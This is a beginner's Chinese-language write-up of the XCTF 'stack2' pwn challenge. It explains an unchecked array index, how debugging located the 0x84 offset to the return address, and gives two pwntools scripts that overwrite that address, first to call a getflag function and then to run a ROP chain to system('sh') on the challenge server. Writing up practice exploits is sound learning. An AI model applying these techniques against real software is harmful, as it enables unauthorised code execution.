攻防世界pwn-stack2学习记录

pwn新手一枚,做这题时苦苦没找出来题解上说的0x84偏移,经过多次尝试,终于找到了正确的方式,遂以记录。

首先分析漏洞点:

当选择3.change number时,程序没有对输入的v5进行检测,遂可以产生溢出

攻防世界pwn-stack2学习记录_第1张图片

之后看到程序给了getflag

攻防世界pwn-stack2学习记录_第2张图片

开启动态调试,此时在v13[v5] = v7;处下断点。

如图所示输入

攻防世界pwn-stack2学习记录_第3张图片

转到汇编指令,查看这个地址(edx存的就是输入9,看看他把9赋到了哪里)

攻防世界pwn-stack2学习记录_第4张图片

此时我们看到,我们的输入9在栈中的位置是:FFA7DB08

攻防世界pwn-stack2学习记录_第5张图片

得到了输入在栈中的位置,之后就要找返回地址的位置,然后覆盖掉。

(之所以没找到0x84的偏移,是因为我想当然的以为返回地址就能在此时在栈中找到,结果得到了0x74,是个错误的偏移。)

我们回到程序选择5.exit,退出,这是程序停在了return 0;上

转为汇编,单步走至最后的retn指令

攻防世界pwn-stack2学习记录_第6张图片

此时,ESP所指的栈中的位置就是返回函数的位置了。

0XC5C-0XBD8=0X84

from pwn import*

def addr(off,add):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(off))
	io.recvuntil("new number:\n")
	io.sendline(str(add))

#io=remote('111.198.29.45','38174')
io=process('stack2')
io.recvuntil("you have:\n")
io.sendline("1")
io.recvuntil("numbers\n")
io.sendline("1")


#0x0804859B
addr(0x84,0X9B)
addr(0x84+1,0X85)
addr(0x84+2,0X04)
addr(0x84+3,0X08)
io.sendline("5")
io.interactive()

攻防世界pwn-stack2学习记录_第7张图片

本地测试成功,但由于靶机上没有bash,所以无法使用程序中给的getflag,需要构造ROP进行system('sh')

我们先找到system在plt表中的位置

攻防世界pwn-stack2学习记录_第8张图片

再找到sh的位置

构造ROP即可

from pwn import*

def addr(off,add):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(off))
	io.recvuntil("new number:\n")
	io.sendline(str(add))

io=remote('111.198.29.45','57912')
#io=process('stack2')
io.recvuntil("you have:\n")
io.sendline("1")
io.recvuntil("numbers\n")
io.sendline("1")

#0x08048450
addr(0x84,0X50)
addr(0x84+1,0X84)
addr(0x84+2,0X04)
addr(0x84+3,0X08)


addr(0x84+8,0X87)
addr(0x84+8+1,0X89)
addr(0x84+8+2,0X04)
addr(0x84+8+3,0X08)
io.sendline("5")
io.interactive()

攻防世界pwn-stack2学习记录_第9张图片

你可能感兴趣的:(PWN)